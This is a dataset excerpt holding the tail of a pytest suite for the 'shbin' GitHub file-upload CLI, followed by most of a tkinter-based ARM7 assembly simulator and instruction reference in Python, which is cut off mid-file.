as e:\n main([\"foo.py\"])\n\n assert \"Ensure SHBIN_GITHUB_TOKEN\" in str(e.value)\n\n\ndef test_repo_envvar_is_mandarory(monkeypatch):\n monkeypatch.setenv(\"SHBIN_GITHUB_TOKEN\", \"123\")\n monkeypatch.delenv(\"SHBIN_REPO\", raising=False)\n with pytest.raises(DocoptExit) as e:\n main([\"foo.py\"])\n\n assert \"error 'SHBIN_REPO'\" in str(e)\n\n\ndef test_upload_file(tmp_path, patched_repo_and_user, repo, pyclip, capsys):\n file = tmp_path / \"hello.py\"\n file.write_text('print(\"hello\")')\n main([str(file)])\n repo.create_file.assert_called_once_with(\"messi/hello.py\", \"\", b'print(\"hello\")')\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\n@pytest.mark.parametrize(\"disable\", (\"0\", \"false\", \"no\", \"FALSE\"))\ndef test_upload_file_no_copy_url(tmp_path, patched_repo_and_user, repo, pyclip, capsys, monkeypatch, disable):\n pyclip.copy(\"foo\")\n monkeypatch.setenv(\"SHBIN_COPY_URL\", disable)\n file = tmp_path / \"hello.py\"\n file.write_text('print(\"hello\")')\n main([str(file)])\n repo.create_file.assert_called_once_with(\"messi/hello.py\", \"\", b'print(\"hello\")')\n # url not copied\n assert pyclip.paste() == \"foo\"\n # no clipboard emoji\n assert capsys.readouterr().out == \"🔗 https://the-url\\n\"\n\n\ndef test_upload_file_with_name_and_directory(pyclip, tmp_path, patched_repo_and_user, repo, capsys):\n file = tmp_path / \"hello.md\"\n file.write_bytes(b\"hello\")\n\n main([str(file), \"-f\", \"data.md\", \"-d\", \"foo\"])\n repo.create_file.assert_any_call(\"messi/foo/data.md\", \"\", b\"hello\")\n\n\ndef test_uploads_file_with_name_fails(tmp_path, patched_repo_and_user, repo):\n file1 = tmp_path / \"hello.md\"\n file2 = tmp_path / \"hello2.md\"\n with pytest.raises(DocoptExit, match=r\"\\-\\-file\\-name can only be used with a single file\"):\n main([str(file1), str(file2), \"-f\", \"data.md\"])\n\n\ndef test_no_files(tmp_path, patched_repo_and_user, repo, capsys):\n main([\"NOT_EXISTENT\"])\n assert \"no file was uploaded\" in capsys.readouterr().out\n\n\n@pytest.mark.parametrize(\"target\", [\"project\", \"project/\", \"project/subdir\"])\ndef test_upload_file_with_target(tmp_path, patched_repo_and_user, repo, target):\n file = tmp_path / \"hello.md\"\n file.write_text(\"hello\")\n main([str(file), \"-d\", target])\n repo.create_file.assert_called_once_with(f\"messi/{target.rstrip('/')}/hello.md\", \"\", b\"hello\")\n\n\n@pytest.mark.parametrize(\n \"namespace, expected\",\n [\n (\"\", \"hello.md\"),\n (\"{user}-goat\", \"messi-goat/hello.md\"),\n (\"goat/{user}/\", \"goat/messi/hello.md\"),\n ],\n)\ndef test_upload_with_custom_prefix(tmp_path, patched_repo_and_user, repo, namespace, expected):\n file = tmp_path / \"hello.md\"\n file.write_text(\"hello\")\n main([str(file), \"--namespace\", namespace])\n repo.create_file.assert_called_once_with(expected, \"\", b\"hello\")\n\n\n@pytest.mark.parametrize(\n \"namespace, expected\",\n [\n (\"\", \"hello.md\"),\n (\"{user}-goat\", \"messi-goat/hello.md\"),\n (\"goat/{user}/\", \"goat/messi/hello.md\"),\n ],\n)\ndef test_upload_with_namespace_from_envvar(tmp_path, patched_repo_and_user, repo, namespace, expected, monkeypatch):\n monkeypatch.setenv(\"SHBIN_NAMESPACE\", namespace)\n file = tmp_path / \"hello.md\"\n file.write_text(\"hello\")\n main([str(file)])\n repo.create_file.assert_called_once_with(expected, \"\", b\"hello\")\n\n\ndef test_upload_file_with_target_as_file_confirm(tmp_path, patched_repo_and_user, repo):\n file = tmp_path / \"hello.md\"\n file.write_text(\"hello\")\n main([str(file), \"-d\", \"bye.md\"])\n repo.create_file.assert_called_once_with(\"messi/bye.md/hello.md\", \"\", b\"hello\")\n\n\ndef test_upload_glob(tmp_path, monkeypatch, patched_repo_and_user, repo):\n file1 = tmp_path / \"hello.md\"\n file2 = tmp_path / \"bye.md\"\n file1.write_bytes(b\"hello\")\n file2.write_bytes(b\"bye\")\n monkeypatch.chdir(tmp_path)\n\n main([\"*.md\", \"-m\", \"hello and bye\"])\n\n assert repo.create_file.call_count == 2\n repo.create_file.assert_any_call(\"messi/hello.md\", \"hello and bye\", b\"hello\")\n repo.create_file.assert_any_call(\"messi/bye.md\", \"hello and bye\", b\"bye\")\n\n\ndef test_x_requires_functional_pyclip(pyclip, patched_repo_and_user, repo):\n with pytest.raises(DocoptExit) as e:\n main([\"-x\"])\n assert \"missing\" in str(e)\n\n\ndef test_plain_from_clipboard(pyclip, patched_repo_and_user, repo, capsys):\n pyclip.copy(b\"some data\")\n with patch(\"shbin.secrets.token_urlsafe\", return_value=\"abc\"):\n main([\"-x\"])\n repo.create_file.assert_any_call(\"messi/abc.txt\", \"\", b\"some data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_png_from_clipboard(pyclip, patched_repo_and_user, repo, capsys):\n pyclip.copy(PNG_1x1)\n with patch(\"shbin.secrets.token_urlsafe\", return_value=\"abc\"):\n main([\"-x\"])\n repo.create_file.assert_any_call(\"messi/abc.png\", \"\", PNG_1x1)\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_from_clipboard_with_name(pyclip, patched_repo_and_user, repo, capsys):\n pyclip.copy(b\"data\")\n main([\"-x\", \"-f\", \"data.md\"])\n repo.create_file.assert_any_call(\"messi/data.md\", \"\", b\"data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_from_clipboard_with_name_and_directory(pyclip, patched_repo_and_user, repo, capsys):\n pyclip.copy(b\"data\")\n main([\"-x\", \"-f\", \"data.md\", \"-d\", \"foo\"])\n repo.create_file.assert_any_call(\"messi/foo/data.md\", \"\", b\"data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_from_clipboard_with_namespace(pyclip, patched_repo_and_user, repo, capsys):\n pyclip.copy(b\"data\")\n main([\"-x\", \"-f\", \"data.md\", \"--namespace\", \"foo\"])\n repo.create_file.assert_any_call(\"foo/data.md\", \"\", b\"data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_plain_from_stdin(stdin, pyclip, patched_repo_and_user, repo, capsys):\n stdin(b\"some data\")\n with patch(\"shbin.secrets.token_urlsafe\", return_value=\"abc\"):\n main([\"-\"])\n repo.create_file.assert_any_call(\"messi/abc.txt\", \"\", b\"some data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_from_stdin_with_name(stdin, pyclip, patched_repo_and_user, repo, capsys):\n stdin(b\"data\")\n main([\"-\", \"-f\", \"data.md\"])\n repo.create_file.assert_any_call(\"messi/data.md\", \"\", b\"data\")\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_png_from_stdin(stdin, pyclip, patched_repo_and_user, repo, capsys):\n stdin(PNG_1x1)\n with patch(\"shbin.secrets.token_urlsafe\", return_value=\"abc\"):\n main([\"-\"])\n repo.create_file.assert_any_call(\"messi/abc.png\", \"\", PNG_1x1)\n # the url was copied\n assert pyclip.paste() == \"https://the-url\"\n assert capsys.readouterr().out == \"🔗📋 https://the-url\\n\"\n\n\ndef test_simple_update(pyclip, tmp_path, patched_repo_and_user, repo):\n repo.create_file.side_effect = GithubException(400, data=\"\", headers=None)\n repo.get_contents.return_value.sha = \"abc123\"\n file = tmp_path / \"hello.py\"\n file.write_bytes(b\"hello\")\n main([str(file)])\n repo.get_contents.assert_called_once_with(\"messi/hello.py\")\n repo.update_file.assert_called_once_with(\"messi/hello.py\", \"\", b\"hello\", \"abc123\")\n\n\ndef test_force_new(pyclip, tmp_path, patched_repo_and_user, repo, capsys):\n repo.create_file.side_effect = [\n GithubException(400, data=\"\", headers=None),\n {\"content\": Mock(html_url=\"https://the-url-2\")},\n ]\n file = tmp_path / \"hello.md\"\n file.write_bytes(b\"hello\")\n\n with patch(\"shbin.secrets.token_urlsafe\", return_value=\"abc\"):\n main([str(file), \"-n\"])\n assert repo.create_file.call_count == 2\n repo.create_file.assert_called_with(\"messi/hello_abc.md\", \"\", b\"hello\")\n assert capsys.readouterr().out == \"🔗📋 https://the-url-2\\n\"\n\n\ndef test_download_a_file(tmp_path, patched_repo_and_user, repo):\n git_data = {\n \"decoded_content\": b\"awesome content\",\n }\n repo.get_contents.return_value = create_github_downloable_files(git_data)\n working_dir = tmp_path / \"working_dir\"\n working_dir.mkdir()\n os.chdir(working_dir)\n main([\"dl\", \"hello.md\"])\n assert (working_dir / \"hello.md\").read_bytes() == b\"awesome content\"\n","repo_name":"Shiphero/shbin","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":11354,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"48"} +{"seq_id":"32924398811","text":"# Importing Libraries\nfrom tkinter import *\nfrom tkinter.filedialog import askopenfilename, asksaveasfilename\nfrom tkinter import font\nimport tkinter.messagebox as tmsg\n\n\nimport re\nimport os\n\n# Global Registers\nR1 = \"0x00000000\"\nR2 = \"0x00000000\"\nR3 = \"0x00000000\" # For orr\nR4 = \"0x00000000\" # For and\nR5 = \"0x00000000\" # For eor\nR6 = \"0x00000000\" # For bic\nR7 = \"0x00000000\" # For add\nR8 = \"0x00000000\" # For mul\nR9 = \"0x00000000\" # For rsb\nR10 = \"0x00000000\" # For sub\nR11 = \"0x00000000\" \n\ncounter = 0\n\n# Function to complement a value\ndef comp(x):\n x_ = \"\"\n for i in range(len(x)):\n if x[i].upper() == '1': \n x_ += 'E'\n elif x[i].upper() == '0':\n x_ += 'F'\n elif x[i].upper() == '2':\n x_ += 'D'\n elif x[i].upper() == '3':\n x_ += 'C'\n elif x[i].upper() == '4':\n x_ += 'B'\n elif x[i].upper() == '5':\n x_ += 'A'\n elif x[i].upper() == '6':\n x_ += '9'\n elif x[i].upper() == '7':\n x_ += '8'\n elif x[i].upper() == '8':\n x_ += '7'\n elif x[i].upper() == '9':\n x_ += '6'\n elif x[i].upper() == 'A':\n x_ += '5'\n elif x[i].upper() == 'B':\n x_ += '4'\n elif x[i].upper() == 'C':\n x_ += '3'\n elif x[i].upper() == 'D':\n x_ += '2'\n elif x[i].upper() == 'E':\n x_ += '1'\n elif x[i].upper() == 'F':\n x_ += '0'\n return \"0x\" + x_\n\n# Function to compute the logical Or operation on two values.\ndef logicalOr(x, y):\n # x = 01010011\n # y = 11011001\n x_ = \"\"\n a = len(x)\n b = len(y)\n if a>b:\n l = a\n else:\n l = b\n for i in range(l):\n if x[i]=='0' and y[i] == '0':\n x_ += '0'\n elif x[i]=='0' and y[i]=='1':\n x_ += '1'\n elif x[i]=='1' and y[i]=='1':\n x_ += '1'\n elif x[i]=='1' and y[i]=='0':\n x_ += '1'\n return x_\n\n# Function to compute the logical And operation on two values.\ndef logicalAnd(x, y):\n x_ = \"\"\n a = len(x)\n b = len(y)\n if a>b:\n l = a\n else:\n l = b\n for i in range(l):\n if x[i]=='1' and y[i] == '1':\n x_ += '1'\n else:\n x_ += '0'\n return x_\n\n\n# Function to compute the logical Xor operation on two values.\ndef logicalXor(x, y):\n x_ = \"\"\n for i in range(len(x)):\n if (x[i]=='0' and y[i] == '0') or (x[i]=='1' and y[i]=='1'):\n x_ += '0'\n else:\n x_ += '1'\n return x_\n\n\n# Function to mov value to a register (R1 or R2 or R3)\n# mov R1, value\ndef mov(x, y):\n global R1\n global R2\n if x == \"R1\":\n R1 = y[1:]\n elif x == \"R2\":\n R2 = y[1:]\n\n# Function to mov the complement of the value to the given register (R1 or R2 or R3)\n# mvn R1, value\ndef mvn(x, y):\n global R1\n global R2\n if x == \"R1\":\n R1 = comp(y[3:])\n elif x == \"R2\":\n R2 = comp(y[3:])\n\n# Function to execute the add instruction (Addition)\n# add R3, R1, R2\ndef add(x1, x2, x3):\n global R1\n global R2\n global R7\n if x1 == \"R7\":\n R7 = hex(int(R1, 16) + int(R2, 16))\n \n# Function to execute the sub instruction (Subtraction)\n# sub R3, R1, R2\ndef sub(x1, x2, x3):\n global R1\n global R2\n global R10\n if x1 == \"R10\":\n R10 = hex(int(R1, 16) - int(R2, 16))\n\n# Function to execute the rsb instruction (Reverse Subtraction) \n# sub R3, R1, R2\ndef rsb(x1, x2, x3):\n global R1\n global R2\n global R9\n if x1 == \"R9\":\n R9 = hex(int(R2, 16) - int(R1, 16))\n\n# Function to execute the And operation \n# And R5, R1, R2\ndef And(x1, x2):\n global R1\n global R2\n global R4\n R4 = hex(int(R1, 16) & int(R2, 16))\n\n# Function to execute the Or operation\n# Orr R5, R1, R2\ndef orr(x1, x2):\n global R1\n global R2\n global R3\n R3 = hex(int(R1, 16) | int(R2, 16))\n \n# Function to execute the Eor operation\n# Eor R5, R1, R2\ndef eor(x1, x2):\n global R1\n global R2\n global R5\n R5 = hex(int(R1, 16) ^ int(R2, 16))\n\n# Function to execute the BIC instruction (And with complement)\n# bic R5, R1, R2\ndef bic(x1, x2):\n global R1\n global R2\n global R6\n temp = hex(~(int(R2, 16)))\n # temp = comp(R2)\n # print(temp)\n R6 = hex(int(R1, 16) & int(temp, 16))\n\n# Function to execute the mul instruction (Multiplication)\n# mul R8, R1, R2\ndef mul(x1, x2, x3):\n global R1\n global R2\n global R8\n R8 = hex(int(R1, 16) * int(R2, 16))\n\n# Function to parse the instruction set and see which operation to perform\ndef parse(instruction_set):\n global counter\n for i in instruction_set:\n instruction_set_list = re.split(\" |, |\\(|\\)\", i)\n instruction = []\n \n for i in instruction_set_list:\n if i != \"\":\n instruction.append(i)\n\n if len(instruction) == 0:\n continue\n elif len(instruction) == 1:\n counter = 1\n \n elif instruction[0].upper() == \"MOV\" and len(instruction) == 3:\n mov(instruction[1], instruction[2])\n\n elif instruction[0].upper() == \"MVN\" and len(instruction) == 3:\n mvn(instruction[1], instruction[2])\n\n elif instruction[0].upper() == \"ADD\" and len(instruction) == 4:\n add(instruction[1], instruction[2], instruction[3])\n\n elif instruction[0].upper() == \"SUB\" and len(instruction) == 4:\n sub(instruction[1], instruction[2], instruction[3]) \n\n elif instruction[0].upper() == \"RSB\" and len(instruction) == 4:\n rsb(instruction[1], instruction[2], instruction[3])\n \n elif instruction[0].upper() == \"AND\" and len(instruction) == 4:\n And(instruction[2], instruction[3], )\n \n elif instruction[0].upper() == \"ORR\" and len(instruction) == 4:\n orr(instruction[2], instruction[3])\n \n elif instruction[0].upper() == \"EOR\" and len(instruction) == 4:\n eor(instruction[2], instruction[3])\n \n elif instruction[0].upper() == \"BIC\" and len(instruction) == 4:\n bic(instruction[2], instruction[3])\n \n elif instruction[0].upper() == \"MUL\" and len(instruction) == 4:\n mul(instruction[1], instruction[2], instruction[3])\n\n\n# create a new file\ndef newFile():\n global File\n root.title(\"Untitled - AssemblyCode\")\n File = None\n textArea.delete(1.0, END)\n\n# open a file from the device\ndef openFile():\n global File\n File = askopenfilename(defaultextension=\".asm\", filetypes=[(\"All Files\", \"*.*\"), (\"Assembly Code\", \"*.asm\")])\n if File == \"\":\n File = None\n else:\n root.title(os.path.basename(File))\n textArea.delete(1.0, END)\n f = open(File, \"r\")\n textArea.insert(1.0, f.read())\n f.close()\n\n# save the file\ndef saveFile():\n global File\n if File == None:\n File = asksaveasfilename(initialfile = \"Untitled.asm\", defaultextension = \".asm\", filetypes = [(\"All Files\", \"*.*\"), (\"Assembly Code\", \"*.asm\")])\n if File == \"\":\n File = None\n else:\n f = open(File, \"w\")\n f.write(textArea.get(1.0, END))\n f.close()\n \n root.title(os.path.basename(File) + \" -> AssemblyCode\")\n else:\n f = open(File, \"w\")\n f.write(textArea.get(1.0, END))\n f.close()\n\n# cut the selected text\ndef cut():\n textArea.event_generate((\"<>\"))\n\n# paste the selected text\ndef paste():\n textArea.event_generate((\"<>\"))\n\n# copy the selected text\ndef copy():\n textArea.event_generate((\"<>\"))\n\n# directs the user to the intstruction set Page for each category\ndef branchInstr():\n # Branch intstructions =>\n topBranch = Toplevel()\n topBranch.geometry(\"750x680\") \n topBranch.title(\"Arm Instruction Set\")\n headerFrame = Frame(topBranch)\n headerFrame.pack(fill=X)\n branchFrame = Frame(topBranch)\n branchFrame.pack(fill=X)\n\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(branchFrame, text=\"\\nBrach Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(branchFrame, text=\"B => Unconditional Branch\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(branchFrame, text=\"BNV => Brach Never\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(branchFrame, text=\"BCS => Brach if carry set\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(branchFrame, text=\"BCC => Brach carry clear\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(branchFrame, text=\"BVS => Brach if overflow set\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(branchFrame, text=\"BVC => Brach if overflow clear\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(branchFrame, text=\"BMI => Brach if minus\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(branchFrame, text=\"BPL => Brach if plus\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n Label(branchFrame, text=\"BEQ => Brach if equal\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=10)\n Label(branchFrame, text=\"BNE => Brach if not equal\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=11)\n Label(branchFrame, text=\"BHI => Brach if higher\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=12)\n Label(branchFrame, text=\"BHS => Brach if higher or same\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=13)\n Label(branchFrame, text=\"BLO => Brach if lower\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=14)\n Label(branchFrame, text=\"BLS => Brach if lower or same\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=15)\n Label(branchFrame, text=\"BGT => Brach if greater than\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=16)\n Label(branchFrame, text=\"BGE => Brach if greater than or equal\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=17)\n Label(branchFrame, text=\"BLT => Brach if less than\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=18)\n Label(branchFrame, text=\"BLE => Brach if less than or equal\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=19)\n Label(branchFrame, text=\"BL => Brach with Link\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=20)\n Label(branchFrame, text=\"BLX => Brach with Link and exchange\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=21)\n\ndef stackInstr():\n # Stack Instructions =>\n topStack = Toplevel()\n topStack.geometry(\"900x900\")\n topStack.title(\"Arm Instruction Set\")\n headerFrame = Frame(topStack)\n headerFrame.pack(fill=X)\n stackFrame = Frame(topStack)\n stackFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(stackFrame, text=\"\\nStack Operations/Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(stackFrame, text=\"STMFA : Like Normal push of 8051 (Pre increment Push)\\n\\tEg: STMFA SP1, {R0-R4};\\n\\tR0, R1, R2, R3, R4 will be pushed on the stack\\n\\tBefore each Push SP will be incremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(stackFrame, text=\"STMEA : Post increment Push\\n\\tEg: STMEA SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be pushed on the stack\\n\\tAfter each Push SP will be incremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(stackFrame, text=\"STMFD : Pre decrement Push\\n\\tEg: STMFD SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be pushed on the stack\\n\\tBefore each Push SP will be decremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(stackFrame, text=\"STMED : Post decrement Push\\n\\tEg: STMED SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be pushed on the stack\\n\\tAfter each Push SP will be decremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(stackFrame, text=\"LDMFA : Like Normal pop of 8051 (Post decrement Pop)\\n\\tEg: LDMFA SP1, {R0-R4};\\n\\tR0, R1, R2, R3, R4 will be popped from the stack\\n\\tAfter each Pop SP will be decremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(stackFrame, text=\"LDMEA : Pre decrement Pop\\n\\tEg: LDMEA SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be popped from the stack\\n\\tBefore each Pop SP will be decremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(stackFrame, text=\"LDMFD : Post decrement Push\\n\\tEg: LDMFD SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be popped from the stack\\n\\tAfter each Pop SP will be incremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(stackFrame, text=\"LDMED : Pre decrement Push\\n\\tEg:LDMED SPI, {R0-R4}\\n\\tR0, R1, R2, R3, R4 will be popped on the stack\\n\\tBefore each Pop SP will be incremented\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n\ndef loadStoreInstr():\n # Load & Store Instructions =>\n topLoadStore = Toplevel()\n topLoadStore.geometry(\"850x850\")\n topLoadStore.title(\"Arm Instruction Set\")\n headerFrame = Frame(topLoadStore)\n headerFrame.pack(fill=X)\n loadStoreFrame = Frame(topLoadStore)\n loadStoreFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(loadStoreFrame, text=\"\\nLoad-Store Operations/Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(loadStoreFrame, text=\"LDR : Load Register\\n\\tEg: LDR R0, [R1];\\n\\tR0 gets the data pointed by R1 (32 bits)\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(loadStoreFrame, text=\"LDRB : Load Byte into Register\\n\\tEg: LDRB R0, [R1];\\n\\tR0 gets byte data pointed by R1 (8 bits)\\n\\tRemaining bits in R0 becomes 0.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(loadStoreFrame, text=\"LDRH : Load Halfword into Register\\n\\tEg: LDRH R0, [R1];\\n\\tR0 gets halfword data pointed by R1 (16 bits)\\n\\tRemaining bits in R0 becomes 0.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(loadStoreFrame, text=\"LDRSB : Load signed byte\\n\\tSame as above but signed.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(loadStoreFrame, text=\"LDRSH : Load signed halfword\\n\\tSame as above but signed.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(loadStoreFrame, text=\"STR : Store Register\\n\\tEg: STR R0, [R1];\\n\\tData from R0 gets stored at the location pointed by R1 (32 bits)\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(loadStoreFrame, text=\"STRB : Store Byte from Register\\n\\tEg: STRB R0, [R1];\\n\\tData from R0 gets stored at the location pointed by R1 (8 bits)\\n\\tRemaining bits in R0 becomes 0.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(loadStoreFrame, text=\"STRH : Store Halfword from Register\\n\\tEg: STRH R0, [R1];\\n\\tData from R0 gets stored at the location pointed by R1 (16 bits)\\n\\tRemaining bits in R0 becomes 0.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n Label(loadStoreFrame, text=\"STRSB : Store signed byte\\n\\tSame as above but signed.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=10)\n Label(loadStoreFrame, text=\"STRSH : Store signed halfword\\n\\tSame as above but signed.\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=11)\n\ndef movArithmeticInstr():\n # Move and Arithmetic Intstructions =>\n topMovArithmetic = Toplevel()\n topMovArithmetic.geometry(\"800x700\")\n topMovArithmetic.title(\"Arm Instruction Set\")\n headerFrame = Frame(topMovArithmetic)\n headerFrame.pack(fill=X)\n movArithFrame = Frame(topMovArithmetic)\n movArithFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(movArithFrame, text=\"\\nData Movement Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(movArithFrame, text=\"MOV : Moves a value into register\\n\\tEg: MOV R0, R1;\\tR0 <- R1\\n\\tEg: MOV R0, #25H; R0 <- 25H\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(movArithFrame, text=\"MVN : Move Not (1's complement)\\n\\tEg: MVN R0, R1;\\n\\tR0 <- 1's complement of R1\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(movArithFrame, text=\"\\nArithmetic Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(movArithFrame, text=\"ADD : Basic Addition\\n\\tEg: ADD R0, R1, R2;\\tR0 <- R1 + R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=5)\n Label(movArithFrame, text=\"ADC : Add with carry\\n\\tEg: ADC R0, R1, R2;\\tR0 <- R1 + R2 + Carry\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=6)\n Label(movArithFrame, text=\"SUB : Basic Subtraction\\n\\tEg: SUB R0, R1, R2;\\tR0 <- R1 - R2 + Carry\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=7)\n Label(movArithFrame, text=\"SBC : Subtract with borrow (!carry)\\n\\tEg: SBC R0, R1, R2;\\tR0 <- R1 - R2 - !Carry\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=8)\n Label(movArithFrame, text=\"RSB : Reverse Subtraction\\n\\tEg: RSB R0, R1, R2;\\tR0 <- R2 - R1\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=9)\n Label(movArithFrame, text=\"RSC : Reverse Subtraction with carry\\n\\tEg: RSC R0, R1, R2;\\tR0 <- R2 - R1 - !Carry\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=10)\n Label(movArithFrame, text=\"\\nTo affect the flags, add an 'S' to the command, for eg: ADDS R0, R1, R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=11)\n \n\ndef logicalInstr():\n # Logical Instructions =>\n topLogical = Toplevel()\n topLogical.geometry(\"1050x550\")\n topLogical.title(\"Arm Instruction Set\")\n headerFrame = Frame(topLogical)\n headerFrame.pack(fill=X)\n logicFrame = Frame(topLogical)\n logicFrame.pack(fill=X)\n Label(headerFrame, text=\"ARM7 Instruction Set\", font=\"firacode 20 underline\").pack()\n Label(logicFrame, text=\"\\nLogic Instructions\", font=\"firacode 16 underline\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=1)\n Label(logicFrame, text=\"AND : AND\\n\\tEg: ADD R0, R1, R2;\\tR0 <- R1 AND R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=2)\n Label(logicFrame, text=\"ORR : OR\\n\\tEg: OR R0, R1, R2;\\tR0 <- R1 OR R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=3)\n Label(logicFrame, text=\"EOR : EX-OR\\n\\tEg: EOR R0, R1, R2;\\tR0 <- R1 XOR R2\", font=\"firacode 13\", justify=LEFT, anchor=\"w\").grid(sticky=W, column=0, row=4)\n Label(logicFrame, text=\"BIC : AND with 